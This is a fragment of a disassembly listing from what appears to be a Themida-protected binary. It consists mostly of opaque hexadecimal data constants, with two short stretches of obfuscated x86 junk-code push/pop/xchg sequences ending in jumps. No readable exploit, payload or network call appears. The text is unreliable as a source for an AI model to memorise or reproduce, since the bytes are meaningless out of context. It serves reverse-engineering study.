45749CE2h dd 0F78D61F9h, 0AF43292Fh, 0DC6E219h, 7D28E626h, 0ABDA02C8h dd 31083959h, 94F6D96Bh, 0A80F4D07h, 35F3B5D2h, 73636E9Dh dd 0A4330048h, 0E6156D19h, 516A6C87h, 0B31CBB86h, 0E2195AD0h dd 0CDEBB6DEh, 4B182969h, 56117688h, 4F7AD3D2h, 597D88B7h dd 31A6C162h, 0E592E08Ch, 0FB315123h, 0CC99E1DCh, 0E5D8FB09h dd 0F249E139h, 933A2B6h, 58689794h, 95605B7Bh, 0DFC20DCAh dd 6BE21932h, 0A40D994h, 0B1E0B5C0h, 0DD3A052Dh, 61758FCBh dd 0DD8930A5h, 314CED85h, 3F4B16A5h, 4909ADA6h, 0F79823B3h dd 79C1FADCh, 51C5ABB1h, 0B1D9E219h, 0A92EF982h, 4592725Fh dd 7D48E078h, 0A55FFB5Fh, 0EED4DA31h, 2E21951h, 720AB125h dd 11C592DAh, 46DEDDF5h, 0B413429Ah, 0D3FFD69Eh, 0C4A632ECh dd 82967C02h, 82AAE219h, 0C4126C53h, 4A17CEF7h, 7801308Dh dd 0C9F0E5B2h, 0AB13B39Ah, 962E8B46h, 17C7BE6Dh, 832F8C4Ah dd 0E590FC2Bh, 3901EDE5h, 36h, 94995A31h, 3FEB625Ah, 5AB1CC13h dd 0EB1A4D9Eh, 0FBAB1304h, 8C4A17D2h, 0CC64597Ah, 9399C820h dd 0F1E7AA8Dh, 6790B851h, 0C1126E17h, 6910D3FCh, 3C11h dd 0AB136800h, 0ECE6B3FBh, 0E833191Fh, 1F4751F1h, 5483DB87h dd 784F176Dh, 0B0D4A513h, 0BD013045h, 51F282DAh, 176E97FDh dd 0FCC1126Eh, 734A10D3h, 488D8862h, 166DC571h, 45744A7Ch dd 18BCD95Eh, 0E5C51F1h, 0FFFFFD2Ah, 0E7F7D965h, 147D51F1h dd 9B371466h, 0A46C7420h, 0F1E7B89Eh, 75A4CC51h, 0F1E84B31h dd 0BDFED851h, 0EBD40411h, 4B31373Fh, 5F51F1E8h, 9DBDE137h dd 6431871Ch, 0CC1E4D6Eh, 0AA5C768Eh, 8FE79328h, 0F0E2AFF7h dd 0E82F151Bh, 1B4351F1h, 507FD783h, 4D706340h, 7B71FFBh dd 5AD6155Bh, 698B1227h, 9AB3B229h, 0DEABBC97h, 1E1409F5h dd 10DAFF5h, 6B71C69h, 6DD3025Ah, 21Ch, 0E7F6D984h, 107E51F1h dd 0E7C4AAB0h, 0FBD851F1h, 0DE36E2DDh, 6066AE46h, 57E53415h dd 8C69BBE3h, 652D7546h, 615795Fh, 36658D58h, 0A914BFCCh dd 0F6D78A61h, 5A9CCA34h, 1FB4C12Bh, 78E6F29Eh, 13BE009h dd 0AC443164h, 28E75E64h, 0F51D5DFAh, 96185D17h, 88968038h dd 0D5Ah, 80D2EDEFh, 3B8D30A3h, 0F547745Eh, 0AAFCBD18h dd 61B30ACDh, 0B7209028h, 0FAD7B406h, 48906DBFh, 8E482577h dd 47CFDB2Dh, 0C3A5B41h, 0D746F58h, 728E4A17h, 0BB53A096h dd 62912984h, 903C7F57h, 0D4BAC088h, 0E851F242h, 43240A10h dd 103851F2h, 0D13F4978h, 1ADFE52Dh, 0EC57EB88h, 0B8EA5905h dd 9A326CF2h, 0A1B38A52h, 31B440E8h, 0D2DD0Ch, 468C69BBh dd 95D9BFC5h, 0C5ED580Ch, 6274812Dh, 0E18D2EA4h, 3945F189h dd 0D5DB23CBh, 5DFFB2AEh, 92AAEBC2h, 0CFC0F18Bh, 16F41CA0h dd 38909868h, 0B3919F89h, 9600000Ch, 4A277946h, 5E23489h dd 0BF9CEECDh, 7451A316h, 0CF085A63h, 0AD10C7E9h, 66537E5Bh dd 1EA13714h, 0D4E7EFCCh, 0E8EE7682h, 580C3B02h, 12B41B16h dd 299642C4h, 577C4991h, 3362BA66h, 0F3F9C1C9h, 51F1E80Dh dd 0C0CAF921h, 9966AE52h, 484E7D3Ch, 0E5F02F42h, 23759D57h dd 0D92B9046h, 0AB2A8FFDh, 0E891394Fh, 57EF6657h, 0A9AF77BFh dd 5806E1C3h, 7A80AFD7h, 26A474h, 993D0A5Eh, 476FF322h dd 66A032FFh, 64B64E6Bh, 0D8BEC48Ch, 0EC5E2125h, 488A95C4h dd 1CBAC773h, 79E7F39Fh, 60878DD5h, 74641442h, 0ECE1159Dh dd 0D908F568h, 394F2D55h, 0CC327B4Dh, 0BF8D4E2h, 8B510000h dd 0CE05E234h, 12C09DEFh, 5B7A57A9h, 0A82F0C5Eh, 2E8AC315h dd 16685582h, 0CF219839h, 87D9E6F2h, 3D8F2CAAh, 0BDA3A931h dd 0D1580C3Bh, 0C4126FD6h, 0F6E2AFF7h, 24309AC9h, 0BCC20AB6h dd 57E5E7C9h, 1BE1AF7h, 993A1769h, 0BF57626Fh, 9227AA77h dd 5C765363h, 0E79328AAh, 0ECA5F78Fh, 0B1F9A513h, 9AC9F2E4h dd 34178E94h, 0F4CB57E5h, 7CE7A23h, 911B5BB2h, 0BEE66A99h dd 57EACC12h, 0D3F55806h, 81491CB7h, 7FB5F8D9h, 0AD000000h dd 8C6FD7D6h, 1A495169h, 0FCC11233h, 2D904350h, 0ABB17981h dd 51F1E7C5h, 7782B1D9h, 0A2AF5B5Eh, 0BD00D731h, 89F7D325h dd 0D4979DE5h, 0A257E5ECh, 32F69C7Ah, 39233EABh, 0B2D2Bh dd 0FFC01C00h, 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h dd 4D63558Eh, 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h dd 3D886E74h, 0A19C580Ch, 8E4A173Ah, 0FE2D8531h, 8BDDE0F3h dd 5BADh, 0C1120400h, 1FECB4FCh, 25A06B9h, 0F1E7967Ch dd 5382AA51h, 0BF6FDDE9h, 37FA7177h, 83057E5h, 0AB09722Ah dd 0C3D1BB3Eh, 0AC2h, 186A5587h, 0D325983Bh, 8DDFDCF6h dd 429425B0h, 0F94B7265h, 1FB8F8C0h, 626F4C9Eh, 0B0280557h dd 0F6E0BD0Fh, 0DF6773C5h, 0C3CF3D9h, 0A50C0758h, 4BF7C412h dd 7723983Eh, 940F4B5Fh, 0FEEDEDD1h, 2372Dh, 49D14400h dd 0A62D8EFCh, 31377F17h, 57E501E6h, 0BD00D7B4h, 666CB911h dd 0B951A955h, 0CC3FC418h, 9D0BAB7Dh, 6CA3A9F1h, 225190CCh dd 0D4424EFAh, 11DEE42Ch, 0E357A64Eh, 30A673BBh, 0EBAFFD6h dd 9D61EB6h, 0B2C2F1C8h, 0D10501D5h, 327452EAh, 0F3EE7D2h dd 0A241725h, 0B7250000h, 0FAD9B608h, 3E9471C3h, 874E2B7Dh dd 0D403E032h, 5A5E97E9h, 0EA3C8156h, 0A3F5C40Dh, 5BAD12C6h dd 1163587Eh, 91777D05h, 0A5580C3Dh, 4F1743AAh, 0F1E86349h dd 3B9A7751h, 0ACB7E67Eh, 0FAE0E627h, 8751F1E7h, 6AC26E51h dd 38E47CA4h, 0CA12BE2Ch, 0EB2D26C4h, 2A729A57h, 0F345745Dh dd 0B6FEBB16h, 0DF9906DFh, 74C14023h, 0C02A5962h, 529A46B4h dd 0A41BBD8Ah, 0D3240E4Dh, 3E6DD4FFh, 0FF9263FAh, 69B1D95Dh dd 0D002D9A1h, 1D59316Ch, 0AD5B41C7h, 476F5E20h, 0F5C40D18h dd 0D4FECBA3h, 24ADB8E7h, 0FADCE995h, 953CCA0Ch, 88E08C24h dd 739E12F0h, 0CDB73890h, 969BFh, 0C3FCE000h, 7E3F9471h dd 38834F2Ch, 0EDCC09E6h, 0A419BE9Bh, 119F1952h, 0C8A5F7C6h dd 815EB009h, 39166857h, 0C0CC1E9Dh, 3E4C3238h, 6560580Ch dd 6E6CB0FEh, 0D351F1E8h, 3F9CA67Dh, 0BA66597Fh, 8D040B62h dd 672375A4h, 8FEF5D77h, 0F23BA389h, 0F9DAB751h dd 4C942CC4h, 0E55AAF46h, 0B5FD2557h, 51B720EDh, 6F9E3685h dd 0FB4D6E64h, 0C50DB11Fh, 32DEDFF8h, 9FA5ABDAh, 5DFB2413h dd 26F33B63h, 0DCB90BB0h, 0D7E3C1FAh, 9238941Dh, 8D89AA8h dd 6B710000h, 0AE250254h, 0F2E0BD0Fh, 3B9A77C9h, 884F2C7Eh dd 0EAAE335h, 368835A2h, 0EF417859h, 0A7F9C612h, 5DAF0CCAh dd 0DDC3C951h, 0F1580C3Eh, 0F7D98FF6h, 8151F1E7h, 9926B8AAh dd 204F9151h, 0A8FAC115h, 6AB25ECCh, 273FC693h, 3A691C4Bh dd 4FC32E34h, 0A9D157E6h, 0AD939961h, 0C1580730h, 82B4A1DAh dd 13ABF61Fh, 7DAC11C6h, 0DC2EAA77h, 7278C0F9h, 5807188Ch dd 8EE078A0h, 509827B1h, 3D6C4F83h, 850C5D3h, 26FD0000h dd 0E754FEFFh, 71588783h, 34894A17h, 2C8DFB05h, 44755CAAh dd 0FCA84098h, 0EDC40CA4h, 0D1E74AFAh, 3A406FE4h, 0E537E934h dd 478FB757h, 57478E70h, 1F4E4ED6h, 0DFE5ADB5h, 58068CF9h dd 0A506260Dh, 0D18F53DBh, 6FB4E239h, 0BC552495h, 7467498Dh dd 0E6EC5806h, 0BB1C29D5h, 1C405602h, 92B47B7Eh, 658ADBF0h dd 0CD4F8D9h, 6802006h, 484D3458h, 27EB1939h, 0D83E6D05h dd 182h, 0F9C612EFh, 6991404Dh, 0D8F98312h, 9D898AE1h dd 0D8E59129h, 92400DFEh, 62BDA329h, 0F9D151F2h, 0F2630DF3h dd 61F92151h, 0C8101DC9h, 10C8A5F7h, 33FB03AFh, 0F263472Dh dd 0EB335B51h, 0F262FFE5h, 0BCEB1351h, 4F9747B2h, 0F2631B49h dd 5F652D51h, 51F26479h, 43EFCC06h, 0B0FD25EBh, 94EC9821h dd 0DB9E165h, 39E5D600h, 6814A52Ch, 3DCC8EF2h, 0F2645137h dd 0A53D6551h, 182C6E10h, 0D0ADFFC0h, 0A26FB708h, 0F05A8936h dd 0F264C0AAh, 3F5BFD51h, 7E50330Ah, 7D056311h, 2A95434Eh dd 0FEBD15E2h, 0BBCBFA52h, 82CA74DFh, 0F2C17E7Ch, 0DE8AB251h dd 67B900D1h, 0C672478Ah, 0AF0F6BEh, 1E51F2C2h, 1ABCC7F6h dd 0C205EBF1h, 0F11951F2h, 0B658AD59h, 48716094h, 1B819F6h dd 5EBF1B9h, 1951F2C2h, 4C58C2F1h, 1DEA32DEh, 0CED403BAh dd 21983906h, 0E32BAEF2h, 517957E5h, 0AAF22FFh, 82E7525Eh dd 67BF6B50h, 0F2BF87CFh, 0D62EDADFh, 0F6F0EF7Fh, 0C3B5D67h dd 603CEC8h, 0AAB07858h, 580603C4h, 0FD81B0D8h, 0B71C29D5h dd 8B4D5A06h, 7A808834h, 58060394h, 6ACE80A8h, 0DE34C928h dd 42A1016h, 163E5806h, 3FF595E7h, 0F8D52792h, 2834E0D9h dd 7A6066BAh, 7580604h, 0FD25EBCEh, 10171D65h, 665DF939h dd 3D14EC3Eh, 4F2E5D53h, 99A4D3D2h, 572F8138h, 1CBB4D8Ah dd 55D09A1h, 0B20DCBD6h, 0A513A760h, 0D0ABB1F9h, 3C57E5EDh dd 0EE886E74h, 749C5805h, 0ED99C145h, 141AF3E0h, 5805EF2Eh dd 0C7415B42h, 0B7542F20h, 7C35871Fh, 8B46AB13h, 0C8F7E12Eh dd 0E42CC41Ch, 50FCBF17h, 942C8F43h, 0E860464Ch, 4C7451F1h dd 8B6DB31Dh, 9651F1E8h, 0CF2F8C0h, 2051F1E8h, 0DB77C9F8h dd 0EDF1A5C0h, 2C59FEh, 17700000h, 0E863494Fh, 4F7751F1h dd 0FFBE1520h, 0D0EDEAB7h, 0BF137A1h, 5051F1E8h, 7B58ECAEh dd 0B4DAF042h, 7651F10Ch, 0FFFF9B28h, 0C4127FFFh, 0F4E2AFF7h dd 94C31BC7h, 13CAB3ADh, 7D834BABh, 51F1E797h, 17FD83ABh dd 0A451F1E8h, 87DF8B34h, 874C99C1h, 9A328A36h, 0B1540D71h dd 1EDE5C4h, 4F5Ah, 0AB137100h, 1117D2FBh, 51F1E82Bh, 17EE173Fh dd 9968C840h, 9FD7381Ah, 0A54B56BDh, 1A204FE7h, 494F1771h dd 51F1E863h, 15204F77h, 0E0B7FFBEh, 7F56F17Bh, 0D711E33Ah dd 4BE3D8FAh, 6910351Ch, 7A8C4A17h, 20CC6459h, 248D99C8h dd 0E4000000h, 0D2FBAB13h, 50824F17h, 12F83C6Bh, 3B51F1E8h dd 4F17ACD5h, 7D2F6478h, 2D5C2944h, 0FCC11246h, 126910D3h dd 474FFBC0h, 32615E7Ah, 0F1E808EEh, 0EFAB4D51h, 0EC3E7D55h dd 0F1176DD6h, 8957A551h, 8FFFFFF3h, 0AC11C2h, 179279A8h dd 0E863494Fh, 4F7751F1h, 0FFBE1520h, 0BB63D1ADh, 1BAE6D73h dd 3C6457E5h, 0FB684A90h, 51735805h, 0DACB9A31h, 0CB93F8D9h dd 602DFC5h, 9CCBF358h, 736h, 1114D00h, 68000000h, 203AA513h dd 0E4CAD0A2h, 0F851F224h, 57D79D0h, 8E5BA33Bh, 73CB7744h dd 0E9383E44h, 0BF57E619h, 0CE3EB97h, 16CC822Bh, 0EAA6F7A3h dd 609BA7FEh, 0D4FF0A39h, 658197E9h, 535806E7h, 0BA6EA7Ch dd 56853027h, 0EA328D4Bh, 4F55B41Dh, 5806F769h, 11BD557Dh dd 9D7A8AB9h, 0D0D8843Bh, 0F8DD2F9h, 97DFF0C1h, 796AB91h dd 6897BF58h, 0F5CB811Ch, 610DAE28h, 0E224B209h, 0D5AB7BC5h dd 0FE3654A6h, 0B693E5DAh, 0CAEFE620h, 3A9C6732h, 0E6EBB681h dd 0B81A27D3h, 3F235703h, 9AFE9E03h, 4D7249F8h, 52969E8Ah dd 0E6F0FB2Ah, 0B13D34D5h, 0FF6DE5B4h, 914Ah, 0A8136100h dd 4F17D5FEh, 0F1E86349h, 204F7751h, 0E831141Ah, 0EE5451F1h dd 0CB6E17C5h, 0C412958Bh, 0CAB3CEF7h, 303CAB13h, 0C4DCB188h dd 0D8BB44Ch, 0E5C4B154h, 305A01EDh, 71000000h, 0D2FBAB13h dd 0E82B1117h, 173F51F1h, 176E17EEh, 0E863494Fh, 4F7751F1h dd 0FFBE1520h, 0D4E9EAB7h, 4E83D028h, 10553C6Bh, 1D1169h dd 13680000h, 17D2FBABh, 0F1E82B11h, 0C5EE5451h, 0C1126E17h dd 4A10D3FCh, 0BB67567Dh, 174D3463h, 1308D4Ah, 0FFFF66F5h dd 0C4124CFFh, 76434BF7h, 5CB4605Dh, 7B4222Dh, 3E15DDB5h dd 85A36CDEh, 0B79D2308h, 0CB51F2BFh, 0FC6A74A3h, 1531DC95h dd 3ED6ECDAh, 0C45DF0F6h, 0A3CB57E5h, 0BC18EFF7h, 0ED4755Ch dd 77599DCCh, 825806CEh, 0BCA92260h, 42F8D907h, 2Dh, 0F9A51359h dd 2E8ABB1h, 8EB657E5h, 2BA9CE2h, 0A3C55806h, 0D679ECE7h dd 1DE5F8D9h, 60F3117h, 70684558h, 2288B74Fh, 0E8h, 0F7C41239h dd 757B434Bh, 51F1E78Fh, 96B2BCA3h, 91191333h, 18BFCAF9h dd 0EAECF9A5h, 501D25D1h, 7F8C3881h, 63BB6752h, 45919CCBh dd 0BDDAC0C6h, 0C6EE51F2h, 0CB635A79h, 0FCCAA179h, 0C0A6AC94h dd 0D451F25Bh, 27AF55ACh, 0C5714A8Ch, 62A6D56Dh, 51F1EC24h dd 0E4368551h, 40ECCF07h, 0D21AC634h, 0E53E29CCh, 0E2D0B757h dd 0E2BEC308h, 2A1B70Eh, 47A7FF40h, 13815DAFh, 0E14C236Bh dd 0F83A8233h, 4B515786h, 5DFBB7C8h, 0DEA6EE16h, 972A1016h dd 163E5E1Dh, 0C2FBDCE7h, 0BA449370h, 4312BA51h, 0E9C75FD8h dd 389381DBh, 43AAB8A2h, 6000002h, 0BA97E9D6h, 7552A419h dd 2F0C5E5Dh, 0E4C113A6h, 3F78CAF3h, 1DA03779h, 0D6E3EECBh dd 8E31A784h, 44775F3Ch, 585EE6F2h, 580C4572h, 12248B86h dd 0C9A6F8C5h, 0A35CAE0Dh, 0B1F9A513h, 0E502E8ABh, 0E28EB657h dd 602BA9Ch, 0E7A3C558h, 5F017B52h, 0A3A503E0h, 6F5D0874h dd 3401F8D9h, 156D19A2h, 0D880E6h, 12970000h, 3E4BF7C4h dd 886E7499h, 9C51F1E8h, 0C794DC74h, 0AD05B10Ch, 90CE147Eh dd 0BD51F1ECh, 7350A219h, 43105863h, 94FE2D90h, 0D8BEC48Ch dd 0EC51F1ECh, 1D8B95C4h, 80232971h, 8C57E53Eh, 89469B5h dd 7BAABF0Ah, 0A57DCFF7h, 6FF1D7DDh, 7D835806h, 58066F97h dd 95BD83ABh, 83EE5C66h, 2586D167h, 9DE57DA9h, 0FB017397h dd 93DB035Dh, 8BED11C6h, 67C568Ah, 0DB050635h, 31C9BE2Bh dd 3DFDE3E9h, 0E9115E1Ch, 0B522FF51h, 0E2A42A08h, 3ED3894h dd 145F5h, 0E7D80400h, 0A21BB895h, 5C5F7350h, 11A82D0Ah dd 0C8F5E2BFh, 357B3D76h, 0ECC91BA2h, 0A582D4E5h, 5D3A8C33h dd 0E4F04279h, 4670565Ch, 8984580Ch dd 43C51222h, 4A922A95h, 3261587Dh, 2A914522h, 40171FD8h dd 5B6A0F99h, 0BDC8F739h, 0E9F6A219h, 0A47CCEEDh, 2FDC72CDh dd 98C7A259h, 2870208Eh, 0E5448B22h, 91D90157h, 0E6D7FCC9h dd 0A8BE23Ah, 0AD82EB65h, 0EEE8F322h, 389E7BCDh, 1AE7CDD3h dd 23FB5806h, 61B371Dh, 8B234B58h, 0DDE3ABF3h, 58061AF7h dd 1A9D8389h, 89B15806h, 26C9BC3h, 90D888F6h, 0FF5F048Ah dd 5230585Dh, 3890C286h, 8F27351Fh, 0BA000000h, 6E4B9D22h dd 29065865h, 0E3C012A9h, 9875C7F2h, 0F32C7E3Fh, 0D1ECEBC5h dd 8A2FA27Fh, 427D5B38h, 0F8C313F0h, 0C129AA6h, 580C4726h dd 13D83F3Ah, 0ABB1F9A5h, 57EB2C29h, 0EAB26F3h, 87335BDFh dd 0D5F5C7Ah, 81676D35h, 95580C2Bh, 0A3333E6Dh, 0E9266C18h dd 0AB157D9Eh, 0E5F10B47h, 16C18ED6h, 74A3FBA7h, 6C4F8764h dd 9722B3C0h, 56F496EBh, 3183389Eh, 76478C59h, 219A3C47h dd 32966D75h, 92C3EF0Ch, 3A6B2E1h, 0FD000000h, 0CA127DE4h dd 9A3C49F5h, 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh dd 0B61F2CD8h, 884A5703h, 597A8733h db 64h, 0B8h, 33h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp push 0CE3h mov [esp], eax push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebp push edx push 70E37880h pop edx and edx, 36BA4DF4h add edx, 0D577FD52h mov eax, edx pop edx push 2EE2h mov [esp], esp add dword ptr [esp], 4 pop ebp sub esp, 4 mov [esp], eax pop dword ptr [ebp+8] mov ebp, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp mov eax, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- db 53h, 0B8h, 5Ch dd 3061A60h, 85C650C5h, 6141A59h, 17256847h, 0B5FFCF38h dd 6141145h, 3B13858Dh, 0D0FF0614h, 858DD88Bh, 6141DB5h dd 1046850h, 0D3FF0000h, 1A5985C6h, 68530614h, 8307F8BFh dd 1145B5FFh, 858D0614h, 6143B13h, 8589D0FFh, 61A43A4h dd 2309BD83h, 0F000614h, 0B84h, 0C19D8B00h, 0E9061410h dd 5, 0BBh, 1006800h, 0B58D0000h, 61A43A8h, 95FF5356h dd 6140625h, 43A8B58Dh, 0F003061Ah, 1E9h, 3E804E00h, 9840F5Ch dd 80000000h, 850F2F3Eh, 0FFFFFFEDh, 8D0006C6h, 1A43A885h dd 95FF5006h, 61A43A4h, 0BCE0FF58h, 20659C5h, 0C67A5EEFh dd 101D1539h, 0AE2BF3DBh, 0EF4A6CC7h, 840B7C6Ch, 844A2922h dd 7B6C84C1h, 0E81A653Eh, 5, 78376319h, 816657E1h, 5808E3E3h dd 0FBB70F5Eh, 6E0EC681h, 0B8660000h, 5E683425h, 0BF00001Bh dd 533F0D67h, 28F0F59h, 8B000000h, 66168BDFh, 9959DF81h dd 3BC2EA81h, 73BF7710h, 810239F3h, 886857F2h, 4B36B877h dd 0EA814B18h, 13D50BD5h, 0B70F1689h, 0CAEE81D8h, 8123F780h dd 0F780C6C6h, 0E983F823h, 20850F01h, 0E9000000h, 7, 0A0377BAAh dd 0E941B011h, 1Eh, 817BCC00h, 0AEF9BCADh, 5C03A336h, 0E91E9B98h dd 0FFFFFF9Dh, 88CEDF62h, 97041AE4h, 8D8D0BBCh, 61A6318h dd 6398529h, 8D890614h, 6143229h, 31D5BD8Bh, 85C70614h dd 614064Dh, 70D4h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0E2C35040h, 8988BA2Eh, 142B0D8Dh, 7185C706h dd 61426h, 8B000000h, 1B5FFC6h, 6A061416h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 59BFC355h dd 1125E359h, 0A3882343h, 2675958Bh, 95FF0614h, 6142361h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E7C35040h dd 9D29DEB9h, 6140F79h, 95FF006Ah, 6141169h, 3EEBC08Bh dd 0B31CF4D4h, 1490230Bh, 77FAAFD3h, 0F6950D6Eh, 0B08D0816h dd 0C046032Dh, 0CBE3D7C2h, 0CF28DCA9h, 0DC19B30Ah, 0A7D3CC78h dd 0BDD6AF5Fh, 88E06071h, 0A90FC3F6h, 0C1E2A608h, 0B763997Eh dd 6E83B49h, 3D000000h, 0D4B504F0h, 0E4F0816Bh, 5E2226C2h dd 262D9D89h, 0C6810614h, 67A3h, 33C2BF0Fh, 3334FFDBh dd 1E8A0Fh, 12E80000h db 3 dup(0) byte_5AEF6B db 9 ; DATA XREF: Themida_:00549AFCo dd 0C1AE4AB8h, 6C407212h, 567C11Dh, 21A476D1h, 0F9B531AAh dd 5806142Ah, 6860F59h, 23000000h, 14346585h, 0FCF18106h dd 895DCB3Eh, 140F1D85h, 0FEF18106h, 0E965B253h, 6, 0C524DB26h dd 0E981294Ah, 1E020F7Ch, 2E8D858Bh, 0C890614h, 68D0811Eh dd 893ED791h, 142D2985h, 6FEB8106h, 8B3CB07Dh, 140E1185h dd 6BC38106h, 663CB07Dh, 2E8DA81h, 990CFB81h, 850FFFFFh dd 0FFFFFF71h, 0A499D89h, 14E80614h, 4000000h, 4557F24Ah dd 0C62586A9h, 0C4E7F331h, 65A665D7h, 0E9B981CFh, 0Ch dd 0EC09D96Dh, 74251C06h, 9BBC073Ch, 68E0F59h, 8B000000h dd 141CFD9Dh, 0F4C18106h, 0E900006Eh, 7, 0C83402EAh, 68E5B0B5h dd 1B97h, 0A1858Bh, 8B5F0614h, 14322D95h, 8B318B06h, 18C681D9h dd 8138F028h, 5AE92AD8h, 80C68118h, 8B4BA701h, 7DC681DEh dd 0F4D0AC4h, 683h, 919D8B00h, 89061423h, 8ABB6631h, 4E983E0h dd 0A51B589h, 0EF810614h, 1, 0FFBB850Fh, 0E9F8FFFFh, 8 dd 12FF1F1Ch, 0 dd 494E9h, 0BB04D800h, 76478C69h, 308B4724h, 0E5D401DEh dd 9C21B693h, 9A7114Ah, 0C09DEFCEh, 7956A811h, 310E605Fh dd 0B8C416A5h, 4C442A30h, 5D58580Ch, 884A17F6h, 0CD655A7Eh dd 8F9AC921h, 0BBC87447h, 8259A11Ch, 12CB983Eh, 7383B280h dd 0CF7B4096h, 13F9FFC7h, 2751F247h, 11C5D0FFh, 2EDAE1F5h dd 7D90A417h, 14AC7014h, 4CBDB5BDh, 32CA126Ah, 0A45A7986h dd 3CB3A752h, 28D46C3Bh, 0F80C4EB2h, 0AE8BDDDEh, 804D952Ah dd 60B86455h, 5CD2BD09h, 588739E7h, 2FA37048h, 5988E08Ch dd 89358A4Eh, 0B864557Ch, 91400D63h, 0F5247C28h, 8B4DE7A3h dd 0D105E234h, 0D5A2EAh, 0DA208AB9h, 51F29FF7h, 0A8235F73h dd 0FEED39BDh, 0EDD3D9A1h, 151F2ABh, 3944AAD9h, 5B000000h dd 4BF7C412h, 0F1E82105h, 0CF8B9F51h, 0EDF191D4h, 16DFEh dd 12840000h, 4350FCC1h, 74812D90h, 36AC5861h, 577CB0D2h dd 9F371466h, 0E4FDD41Ch, 0A30EFDBCh, 9A536392h, 4CF8C512h dd 7D29943Fh, 51EBA70Bh, 8E53786h, 3441EDCEh, 0EA711D9Eh dd 64118AC8h, 0BAFEEDEFh, 83h, 0F8C512D1h, 6177444Ch, 0E18D2CA9h dd 0ED45F189h, 0E71FB3BEh, 0C921CDF0h, 0F70F8531h, 0E843292Fh dd 0FAC651F1h, 97609758h, 6392BA80h, 1CBB7111h, 8B9159A1h dd 51F22FA5h, 2F3A91B9h, 0AE76CCDBh, 0BA97A7D6h, 0E7F4A01Dh dd 0FBC016EEh, 0FA9227AEh, 0E5A5C74Eh, 0EDB587EEh, 4F97FEh dd 12AE0000h, 0E3B0F8C5h, 0C820CCEFh, 305F5A7Bh, 0A01FB9C6h dd 0BEDCC0F4h, 0A51ABE8Bh, 8254A1F9h, 0D8FF0A39h, 12DA93E5h dd 0A50FCC1h, 51F1E827h, 0E69227AEh, 14C0FFD9h, 0BD7D1DBFh dd 69CE5733h, 961F9E8h, 273E55F5h, 0D7FEEDEAh, 1, 0FBC012EEh dd 5B7A474Fh, 0E7C2A8AEh, 0AED651F1h, 0E3126A16h, 0CF08FED8h dd 0E852383Eh, 3E6651F1h, 0D620EA6h, 0BD152F6Bh, 62D0ACFEh dd 0E6AE76BEh, 0F1E7FAE0h, 0A5310E51h, 0B4F7E16h, 57E502F4h dd 8E96426Ah, 2DAC0C6h, 0C6EE5806h, 714A8C97h, 2794421Fh dd 0F9C612DFh, 8B5860CAh, 0B7C4704Bh, 98F09C1Fh, 0A98DD100h dd 0B580602h, 8A2FA673h, 0B706D1DEh, 0EC1BB30Bh, 7C49F89Ah dd 2A356455h, 407D5AACh, 5D7956A8h, 0AA165B9Fh, 89214681h dd 0B506D0DDh, 17339709h, 0FAC115E2h, 0A516C0CBh, 0CF501553h dd 1AEF8D9h, 0C5000001h, 0B1F9A513h, 20D21DAh, 60B7B0EBh dd 82CDB6F4h, 0E9EF1E58h, 0E5B5ACE3h, 8E3A6257h, 14665581h dd 701C9F37h, 9C487363h, 7084C62Ah, 0C5035566h, 0F8D923A0h dd 0AF0F6BEh, 1E5806C2h, 4061C7F6h, 78000000h, 0B0F8A613h dd 0F1E7E4AAh, 686936D1h, 0ECCD0451h, 651139BDh, 0F1E8391Fh dd 0F999BDD1h, 0AA5A7B48h, 8FE79328h, 0C4F34BF7h, 5DA54DBAh dd 0F1E89157h, 0F53D6551h, 0E211AA28h, 7EF4D2h, 134B0000h dd 0ABB1F9A5h, 57E510F0h, 0BDCA769Eh, 835AA219h, 4CA57A44h dd 161C648Ch, 58064330h, 0DDED1C44h, 39E5D600h, 64412F3h dd 0C88A6E58h, 0C719A234h, 89D17DEBh, 0E5F016BCh, 38D028D4h dd 69547F8Ch, 9ECD65BDh, 0A8E79298h, 4D755DFFh, 794294A1h dd 0B4D678CDh, 1FB61381h, 0F2E1EE9Ah, 539B33CBh, 0A613BE8Bh dd 0D883377h, 3916641Ah, 1E762299h, 855C3486h, 65B7EA5Ah dd 0A58CBB0Ah, 0B1F9A513h, 0EB4D00ABh, 0BA668E57h, 409229ADh dd 9C487363h, 0AEE1FD56h, 0F793F74Ah, 0DA22993Dh, 0F05D0703h dd 0D028D4E5h, 13939579h, 0DFF7D4E4h, 0B22330DCh, 64065B07h dd 3EC80E26h, 55646D97h, 0F6D325BDh, 0C693DBE0h, 0DFDAF711h dd 14439B47h, 39CAAh, 0E4F30000h, 0F5CA127Dh, 219A3C49h dd 4F706875h, 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch dd 33884A57h, 64597A87h db 0B8h, 33h ; --------------------------------------------------------------------------- loc_5AF4AE: ; DATA XREF: Themida_:0054AC88o push ebp mov ebp, esp push edx mov edx, 4 add ebp, edx pop edx sub ebp, 4 xchg ebp, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebx push 6D84h mov [esp], edi push ecx push esi mov esi, 25DD6C16h mov ecx, 5E4A79EDh sub ecx, esi pop esi mov ebx, 3E776911h xor ebx, ecx pop ecx push esp mov edi, [esp] add esp, 4 push 3912h mov [esp], esi mov esi, ebx mov [edi+8], esi pop esi mov edi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_5509FF ; --------------------------------------------------------------------------- dw 24DCh dd 68CFB8F4h, 0C503061Ah, 0AB6DE0FFh, 0B1D14469h, 0A2AE6A66h dd 1D9E088Ah, 0C89B0BC2h, 0FED4374Bh, 